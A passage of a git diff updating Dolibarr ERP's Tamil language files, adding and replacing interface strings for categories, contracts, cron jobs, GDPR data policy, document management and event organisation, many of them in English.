IfThisCategoryIsChildOfAnother=If this category is a child of another one +DarkThemeMode=Dark theme mode +AlwaysDisabled=Always disabled +AccordingToBrowser=According to browser +AlwaysEnabled=Always Enabled +DoesNotWorkWithAllThemes=Will not work with all themes NoName=No name +ShowAdvancedOptions= Show advanced options +HideAdvancedoptions= Hide advanced options CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +OauthNotAvailableForAllAndHadToBeCreatedBefore=OAUTH2 authentication is not available for all hosts, and a token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_OAUTH_SERVICE=OAUTH2 authentication service +DontForgetCreateTokenOauthMod=A token with the right permissions must have been created upstream with the OAUTH module +MAIN_MAIL_SMTPS_AUTH_TYPE=Authentification method +UsePassword=Use a password +UseOauth=Use a OAUTH token +Images=Images +MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
      Example: "minwiwdth100 maxwidth500 widthcentpercentminusx" +HelpCssOnViewDesc=The Css used when viewing the field. +HelpCssOnListDesc=The Css used when field is inside a list table.
      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/ta_IN/categories.lang b/htdocs/langs/ta_IN/categories.lang index 3edacdba443..629d4f9679a 100644 --- a/htdocs/langs/ta_IN/categories.lang +++ b/htdocs/langs/ta_IN/categories.lang @@ -42,6 +42,7 @@ MemberHasNoCategory=இந்த உறுப்பினர் எந்த க ContactHasNoCategory=இந்த தொடர்பு எந்த குறிச்சொற்களிலும்/வகைகளிலும் இல்லை ProjectHasNoCategory=இந்த திட்டம் எந்த குறிச்சொற்களிலும்/வகைகளிலும் இல்லை ClassifyInCategory=குறிச்சொல்/வகையில் சேர்க்கவும் +RemoveCategory=Remove category NotCategorized=குறி/வகை இல்லாமல் CategoryExistsAtSameLevel=இந்த ref உடன் இந்த வகை ஏற்கனவே உள்ளது ContentsVisibleByAllShort=அனைவருக்கும் தெரியும் உள்ளடக்கம் @@ -67,6 +68,7 @@ StockCategoriesShort=கிடங்கு குறிச்சொற்கள ThisCategoryHasNoItems=இந்த வகை எந்த உருப்படிகளையும் கொண்டிருக்கவில்லை. CategId=குறி/வகை ஐடி ParentCategory=பெற்றோர் குறிச்சொல்/வகை +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=பெற்றோர் குறிச்சொல்/வகையின் லேபிள் CatSupList=விற்பனையாளர்கள் குறிச்சொற்கள்/வகைகளின் பட்டியல் CatCusList=வாடிக்கையாளர்கள்/எதிர்பார்ப்பு குறிச்சொற்கள்/வகைகளின் பட்டியல் @@ -86,15 +88,18 @@ DeleteFromCat=குறிச்சொற்கள்/வகையிலிர ExtraFieldsCategories=நிரப்பு பண்புகள் CategoriesSetup=குறிச்சொற்கள்/வகைகள் அமைப்பு CategorieRecursiv=தானாக பெற்றோர் குறிச்சொல்/வகையுடன் இணைக்கவும் -CategorieRecursivHelp=விருப்பம் இயக்கத்தில் இருந்தால், ஒரு தயாரிப்பை துணைப்பிரிவில் சேர்க்கும்போது, தயாரிப்பு மூல வகையிலும் சேர்க்கப்படும். +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=பின்வரும் தயாரிப்பு/சேவையைச் சேர்க்கவும் AddCustomerIntoCategory=வாடிக்கையாளருக்கு வகையை ஒதுக்கவும் AddSupplierIntoCategory=சப்ளையருக்கு வகையை ஒதுக்கவும் +AssignCategoryTo=Assign category to ShowCategory=குறிச்சொல்/வகையைக் காட்டு ByDefaultInList=பட்டியலில் இயல்பாக ChooseCategory=வகையைத் தேர்ந்தெடுக்கவும் StocksCategoriesArea=கிடங்கு வகைகள் +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=நிகழ்வு வகைகள் WebsitePagesCategoriesArea=பக்கம்-கொள்கலன் வகைகள் KnowledgemanagementsCategoriesArea=KM கட்டுரை வகைகள் UseOrOperatorForCategories=வகைகளுக்கு 'OR' ஆபரேட்டரைப் பயன்படுத்தவும் +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/ta_IN/commercial.lang b/htdocs/langs/ta_IN/commercial.lang index 1772e8ef941..95f19a55264 100644 --- a/htdocs/langs/ta_IN/commercial.lang +++ b/htdocs/langs/ta_IN/commercial.lang @@ -74,8 +74,16 @@ StatusProsp=வாய்ப்பு நிலை DraftPropals=வரைவு வணிக முன்மொழிவுகள் NoLimit=எல்லை இல்லாத ToOfferALinkForOnlineSignature=ஆன்லைன் கையொப்பத்திற்கான இணைப்பு -WelcomeOnOnlineSignaturePage=%s இலிருந்து வணிக முன்மொழிவுகளை ஏற்க பக்கத்திற்கு வரவேற்கிறோம் -ThisScreenAllowsYouToSignDocFrom=மேற்கோள்/வணிக முன்மொழிவை ஏற்கவும் கையொப்பமிடவும் அல்லது மறுக்கவும் இந்தத் திரை உங்களை அனுமதிக்கிறது -ThisIsInformationOnDocumentToSign=இது ஏற்றுக்கொள்ள அல்லது மறுப்பதற்கான ஆவணத்தில் உள்ள தகவல் +WelcomeOnOnlineSignaturePageProposal=Welcome to the page to accept commercial proposals from %s +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=This screen allow you to accept and sign, or refuse, a quote/commercial proposal +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=This is information on document to accept or refuse +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=மேற்கோளின் கையொப்பம்/வணிக முன்மொழிவு %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=ஆன்லைனில் கையொப்பமிடுவதற்கான அம்சம் முடக்கப்பட்டது அல்லது அம்சம் இயக்கப்படுவதற்கு முன் உருவாக்கப்பட்ட ஆவணம் diff --git a/htdocs/langs/ta_IN/compta.lang b/htdocs/langs/ta_IN/compta.lang index f776488fa97..d94d167c379 100644 --- a/htdocs/langs/ta_IN/compta.lang +++ b/htdocs/langs/ta_IN/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=இருப்பு (முன்) Balance=இருப்பு Debit=பற்று Credit=கடன் +AccountingDebit=Debit +AccountingCredit=Credit Piece=கணக்கியல் ஆவணம். AmountHTVATRealReceived=நிகர சேகரிக்கப்பட்டது AmountHTVATRealPaid=நிகரமாக செலுத்தப்பட்டது @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=ஒரு தயாரிப TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=ஒரு விற்பனை வரி விகிதத்தில் வசூலிக்கப்படும் விற்றுமுதல் அறிக்கை கிடைக்கவில்லை. இந்த அறிக்கை விற்றுமுதல் விலைப்பட்டியலுக்கு மட்டுமே கிடைக்கும். CalculationMode=கணக்கீட்டு முறை AccountancyJournal=கணக்கியல் குறியீடு இதழ் -ACCOUNTING_VAT_SOLD_ACCOUNT=விற்பனையின் மீதான VATக்கான இயல்புநிலை கணக்கியல் கணக்கு (VAT அகராதி அமைப்பில் வரையறுக்கப்படவில்லை என்றால் பயன்படுத்தப்படும்) -ACCOUNTING_VAT_BUY_ACCOUNT=வாங்குதல்களின் மீதான VATக்கான இயல்புநிலை கணக்கியல் கணக்கு (VAT அகராதி அமைப்பில் வரையறுக்கப்படாவிட்டால் பயன்படுத்தப்படும்) -ACCOUNTING_VAT_PAY_ACCOUNT=VAT செலுத்துவதற்கான இயல்புநிலை கணக்கு கணக்கு -ACCOUNTING_ACCOUNT_CUSTOMER=வாடிக்கையாளர் மூன்றாம் தரப்பினருக்குப் பயன்படுத்தப்படும் கணக்கு கணக்கு +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=மூன்றாம் தரப்பு அட்டையில் வரையறுக்கப்பட்ட பிரத்யேக கணக்கியல் கணக்கு சப்லெட்ஜர் கணக்கியலுக்கு மட்டுமே பயன்படுத்தப்படும். மூன்றாம் தரப்பினரின் பிரத்யேக வாடிக்கையாளர் கணக்கியல் கணக்கு வரையறுக்கப்படவில்லை என்றால், இது பொதுப் பேரேடுக்காகவும், சப்லெட்ஜர் கணக்கியலின் இயல்புநிலை மதிப்பாகவும் பயன்படுத்தப்படும். -ACCOUNTING_ACCOUNT_SUPPLIER=விற்பனையாளர் மூன்றாம் தரப்பினருக்குப் பயன்படுத்தப்படும் கணக்கியல் கணக்கு +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=மூன்றாம் தரப்பு அட்டையில் வரையறுக்கப்பட்ட பிரத்யேக கணக்கு கணக்கு சப்லெட்ஜர் கணக்கியலுக்கு மட்டுமே பயன்படுத்தப்படும். மூன்றாம் தரப்பினரின் பிரத்யேக விற்பனையாளர் கணக்கியல் கணக்கு வரையறுக்கப்படாவிட்டால், பொதுப் பேரேடுக்காகவும், சப்லெட்ஜர் கணக்கின் இயல்புநிலை மதிப்பாகவும் இது பயன்படுத்தப்படும். ConfirmCloneTax=சமூக/நிதி வரியின் குளோனை உறுதிப்படுத்தவும் ConfirmCloneVAT=VAT அறிவிப்பின் குளோனை உறுதிப்படுத்தவும் @@ -300,3 +302,4 @@ InvoiceToPay15Days=செலுத்த (15 முதல் 30 நாட்க InvoiceToPay30Days=செலுத்த (> 30 நாட்கள்) ConfirmPreselectAccount=கணக்கியல் குறியீட்டை முன்கூட்டியே தேர்ந்தெடுக்கவும் ConfirmPreselectAccountQuestion=இந்தக் கணக்கியல் குறியீட்டைக் கொண்டு தேர்ந்தெடுக்கப்பட்ட %s வரிகளை நிச்சயமாகத் தேர்ந்தெடுக்க விரும்புகிறீர்களா? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/ta_IN/contracts.lang b/htdocs/langs/ta_IN/contracts.lang index 0cd88ad5820..0d9e9c1502a 100644 --- a/htdocs/langs/ta_IN/contracts.lang +++ b/htdocs/langs/ta_IN/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=ஒப்பந்தங்கள்/சந்தாக ContractsAndLine=ஒப்பந்தங்கள் மற்றும் ஒப்பந்தங்களின் வரி Contract=ஒப்பந்த ContractLine=ஒப்பந்த வரி +ContractLines=Contract lines Closing=மூடுவது NoContracts=ஒப்பந்தங்கள் இல்லை MenuServices=சேவைகள் @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=இந்த ஒப்பந்த வரியை ந MoveToAnotherContract=சேவையை மற்றொரு ஒப்பந்தத்திற்கு மாற்றவும். ConfirmMoveToAnotherContract=நான் புதிய இலக்கு ஒப்பந்தத்தைத் தேர்ந்தெடுத்து, இந்தச் சேவையை இந்த ஒப்பந்தத்திற்கு நகர்த்த விரும்புவதை உறுதிப்படுத்துகிறேன். ConfirmMoveToAnotherContractQuestion=தற்போதுள்ள எந்த ஒப்பந்தத்தில் (அதே மூன்றாம் தரப்பினரின்) இந்தச் சேவையை மாற்ற விரும்புகிறீர்கள் என்பதைத் தேர்வுசெய்யவும்? -PaymentRenewContractId=ஒப்பந்த வரியை புதுப்பிக்கவும் (எண் %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=காலாவதி தேதி NoExpiredServices=காலாவதியான செயலில் உள்ள சேவைகள் இல்லை ListOfServicesToExpireWithDuration=%s நாட்களில் காலாவதியாகும் சேவைகளின் பட்டியல் @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=வாடிக்கையாளர HideClosedServiceByDefault=மூடிய சேவைகளை இயல்பாக மறை ShowClosedServices=மூடிய சேவைகளைக் காட்டு HideClosedServices=மூடிய சேவைகளை மறை +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/ta_IN/cron.lang b/htdocs/langs/ta_IN/cron.lang index 29aab0a040a..167c5788a26 100644 --- a/htdocs/langs/ta_IN/cron.lang +++ b/htdocs/langs/ta_IN/cron.lang @@ -26,7 +26,7 @@ CronCommand=கட்டளை CronList=திட்டமிடப்பட்ட வேலைகள் CronDelete=திட்டமிடப்பட்ட வேலைகளை நீக்கவும் CronConfirmDelete=இந்த திட்டமிடப்பட்ட வேலைகளை நிச்சயமாக நீக்க விரும்புகிறீர்களா? -CronExecute=திட்டமிடப்பட்ட வேலையைத் தொடங்கவும் +CronExecute=Launch now CronConfirmExecute=இந்த திட்டமிடப்பட்ட வேலைகளை இப்போது நிச்சயமாகச் செய்ய விரும்புகிறீர்களா? CronInfo=திட்டமிடப்பட்ட வேலை தொகுதி தானாக செயல்படுத்த வேலைகளை திட்டமிட அனுமதிக்கிறது. வேலைகளை கைமுறையாகவும் தொடங்கலாம். CronTask=வேலை @@ -58,7 +58,7 @@ CronNote=கருத்து CronFieldMandatory=புலங்கள் %s கட்டாயம் CronErrEndDateStartDt=இறுதித் தேதி தொடக்கத் தேதிக்கு முன் இருக்கக்கூடாது StatusAtInstall=தொகுதி நிறுவலின் நிலை -CronStatusActiveBtn=அட்டவணை +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=முடக்கு CronTaskInactive=இந்த வேலை முடக்கப்பட்டுள்ளது (திட்டமிடப்படவில்லை) CronId=ஐடி @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=திட்டமிடப்பட்ட வ JobDisabled=வேலை முடக்கப்பட்டது MakeLocalDatabaseDumpShort=உள்ளூர் தரவுத்தள காப்புப்பிரதி MakeLocalDatabaseDump=உள்ளூர் தரவுத்தள டம்ப்பை உருவாக்கவும். அளவுருக்கள்: சுருக்கம் ('gz' அல்லது 'bz' அல்லது 'இல்லை'), காப்புப் பிரதி வகை ('mysql', 'pgsql', 'auto'), 1, 'தானியங்கு' அல்லது உருவாக்க வேண்டிய கோப்பு பெயர், வைத்திருக்க வேண்டிய காப்பு கோப்புகளின் எண்ணிக்கை +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=கவனம், செயல்திறன் நோக்கத்திற்காக, செயல்படுத்தப்பட்ட வேலைகளை நிறைவேற்றுவதற்கான அடுத்த தேதி எதுவாக இருந்தாலும், உங்கள் வேலைகள் இயக்கப்படுவதற்கு முன், அதிகபட்சம் %s மணிநேரம் வரை தாமதமாகலாம். DATAPOLICYJob=டேட்டா கிளீனர் மற்றும் அநாமதேயர் JobXMustBeEnabled=வேலை %s இயக்கப்பட்டிருக்க வேண்டும் +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=கடைசியாக செயல்படுத்தப்பட்ட திட்டமிடப்பட்ட வேலை NextScheduledJobExecute=அடுத்த திட்டமிடப்பட்ட வேலை NumberScheduledJobError=திட்டமிடப்பட்ட வேலைகளின் எண்ணிக்கை பிழை +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/ta_IN/datapolicy.lang b/htdocs/langs/ta_IN/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/ta_IN/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/ta_IN/ecm.lang b/htdocs/langs/ta_IN/ecm.lang index e9c049ec9f0..32a59c15dbd 100644 --- a/htdocs/langs/ta_IN/ecm.lang +++ b/htdocs/langs/ta_IN/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=கையேடு அடைவு ECMSectionAuto=தானியங்கி அடைவு ECMSectionsManual=கையேடு மரம் ECMSectionsAuto=தானியங்கி மரம் +ECMSectionsMedias=Medias tree ECMSections=அடைவுகள் ECMRoot=ஈசிஎம் ரூட் ECMNewSection=புதிய அடைவு @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=துணை அடைவுகளில் உள்ள ECMCreationUser=படைப்பாளி ECMArea=DMS/ECM பகுதி ECMAreaDesc=DMS/ECM (ஆவண மேலாண்மை அமைப்பு / மின்னணு உள்ளடக்க மேலாண்மை) பகுதியானது Dolibarr இல் அனைத்து வகையான ஆவணங்களையும் சேமிக்கவும், பகிரவும் மற்றும் விரைவாக தேடவும் உங்களை அனுமதிக்கிறது. -ECMAreaDesc2=* ஒரு உறுப்பின் அட்டையிலிருந்து ஆவணங்களைச் சேர்க்கும்போது தானியங்கி அடைவுகள் தானாக நிரப்பப்படும்.
      * ஒரு குறிப்பிட்ட உறுப்புடன் இணைக்கப்படாத ஆவணங்களைச் சேமிக்க கையேடு கோப்பகங்களைப் பயன்படுத்தலாம். +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved= %s கோப்பகம் நீக்கப்பட்டது. ECMSectionWasCreated= %s கோப்பகம் உருவாக்கப்பட்டது. ECMSearchByKeywords=முக்கிய வார்த்தைகள் மூலம் தேடுங்கள் diff --git a/htdocs/langs/ta_IN/eventorganization.lang b/htdocs/langs/ta_IN/eventorganization.lang index a8e9c41e0a9..875225c0600 100644 --- a/htdocs/langs/ta_IN/eventorganization.lang +++ b/htdocs/langs/ta_IN/eventorganization.lang @@ -37,7 +37,8 @@ EventOrganization=நிகழ்வு அமைப்பு Settings=அமைப்புகள் EventOrganizationSetupPage = நிகழ்வு அமைப்பு அமைவு பக்கம் EVENTORGANIZATION_TASK_LABEL = திட்டம் சரிபார்க்கப்படும் போது தானாக உருவாக்க பணிகளின் லேபிள் -EVENTORGANIZATION_TASK_LABELTooltip = நீங்கள் ஒரு ஒழுங்கமைக்கப்பட்ட நிகழ்வு மதிப்பிட போது, சில காரியங்கள் தானாக உதாரணமாக திட்டம்

      உள்ள உருவாக்க முடியும்: கான்பரன்ஸ்
      அனுப்புக கால்


      பூத் அழைப்பு பெறவும்
      அனுப்புக பங்கேற்பாளர்கள் நிகழ்வுகளுக்கு திறந்த சந்தாக்கள்
      மாநாடுகள் அழைப்பு பெறவும் பூத் க்கான அனுப்பவும் கால் நிகழ்வை பேச்சாளர்களுக்கு நினைவூட்டு
      நிகழ்வை நினைவூட்டல் பூத் ஹோஸ்டருக்கு அனுப்பு
      பங்கேற்பாளர்களுக்கு நிகழ்வை நினைவூட்டு அனுப்பு +EVENTORGANIZATION_TASK_LABELTooltip = When you validate an event to organize, some tasks can be automatically created in the project

      For example:
      Send Call for Conferences
      Send Call for Booths
      Validate suggestions of Conferences
      Validate application for Booths
      Open subscriptions to the event for attendees
      Send a remind of the event to speakers
      Send a remind of the event to Booth hosters
      Send a remind of the event to attendees +EVENTORGANIZATION_TASK_LABELTooltip2=Keep empty if you don't need to create tasks automatically. EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = மூன்றாம் தரப்பினருடன் சேர்ப்பதற்கான வகை, மாநாட்டை யாராவது பரிந்துரைக்கும் போது தானாகவே உருவாக்கப்படும் EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = மூன்றாம் தரப்பினரிடம் சேர்ப்பதற்கான வகை, ஒரு சாவடியைப் பரிந்துரைக்கும் போது தானாகவே உருவாக்கப்படும் EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = மாநாட்டின் பரிந்துரையைப் பெற்ற பிறகு அனுப்ப வேண்டிய மின்னஞ்சலின் டெம்ப்ளேட். @@ -53,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = In the form to create/add an attendee, # Object # EventOrganizationConfOrBooth= மாநாடு அல்லது சாவடி +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = ஒரு நிகழ்வின் அமைப்பை நிர்வகிக்கவும் ConferenceOrBooth = மாநாடு அல்லது சாவடி ConferenceOrBoothTab = மாநாடு அல்லது சாவடி AmountPaid = பணம் செலுத்தப்பட்டது DateOfRegistration = பதிவு செய்யப்பட்ட தேதி ConferenceOrBoothAttendee = மாநாடு அல்லது பூத் பங்கேற்பாளர் +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -111,15 +115,15 @@ EvntOrgRegistrationHelpMessage = இங்கே, நீங்கள் ஒர EvntOrgRegistrationConfHelpMessage = நிகழ்வின் போது உயிரூட்ட ஒரு புதிய மாநாட்டை இங்கே பரிந்துரைக்கலாம். EvntOrgRegistrationBoothHelpMessage = இங்கே, நிகழ்வின் போது ஒரு சாவடிக்கு விண்ணப்பிக்கலாம். ListOfSuggestedConferences = பரிந்துரைக்கப்பட்ட மாநாடுகளின் பட்டியல் -ListOfSuggestedBooths = பரிந்துரைக்கப்பட்ட சாவடிகளின் பட்டியல் -ListOfConferencesOrBooths=மாநாடுகள் அல்லது நிகழ்வுத் திட்டத்தின் சாவடிகளின் பட்டியல் +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = புதிய மாநாட்டை பரிந்துரைக்கவும் SuggestBooth = ஒரு சாவடியை பரிந்துரைக்கவும் ViewAndVote = பரிந்துரைக்கப்பட்ட நிகழ்வுகளைப் பார்த்து வாக்களியுங்கள் PublicAttendeeSubscriptionGlobalPage = நிகழ்வில் பதிவு செய்வதற்கான பொது இணைப்பு PublicAttendeeSubscriptionPage = இந்த நிகழ்விற்கான பதிவுக்கான பொது இணைப்பு மட்டும் MissingOrBadSecureKey = பாதுகாப்பு விசை தவறானது அல்லது காணவில்லை -EvntOrgWelcomeMessage = நிகழ்வில் புதிய பங்கேற்பாளராகப் பதிவுசெய்ய இந்தப் படிவம் உங்களை அனுமதிக்கிறது : %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = இந்த மாநாடு %s இல் தொடங்கி %s இல் முடிவடைகிறது. ConferenceAttendeeFee = நிகழ்விற்கான மாநாட்டில் பங்கேற்பாளர் கட்டணம்: '%s' %s முதல் %s வரை. BoothLocationFee = நிகழ்விற்கான பூத் இடம் : '%s' %s முதல் %s வரை @@ -129,7 +133,7 @@ LabelOfconference=மாநாட்டு லேபிள் ConferenceIsNotConfirmed=பதிவு கிடைக்கவில்லை, மாநாடு இன்னும் உறுதிப்படுத்தப்படவில்லை DateMustBeBeforeThan=%s கண்டிப்பாக %s DateMustBeAfterThan=%s கண்டிப்பாக %s ஆக இருக்க வேண்டும் - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=பதிவு OrganizationEventConfRequestWasReceived=மாநாட்டிற்கான உங்கள் ஆலோசனை பெறப்பட்டது OrganizationEventBoothRequestWasReceived=சாவடிக்கான உங்கள் கோரிக்கை பெறப்பட்டது @@ -138,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=உங்கள் நிக OrganizationEventBulkMailToAttendees=நிகழ்வில் பங்கேற்பாளராக நீங்கள் பங்கேற்பதைப் பற்றிய நினைவூட்டல் இது OrganizationEventBulkMailToSpeakers=ஒரு 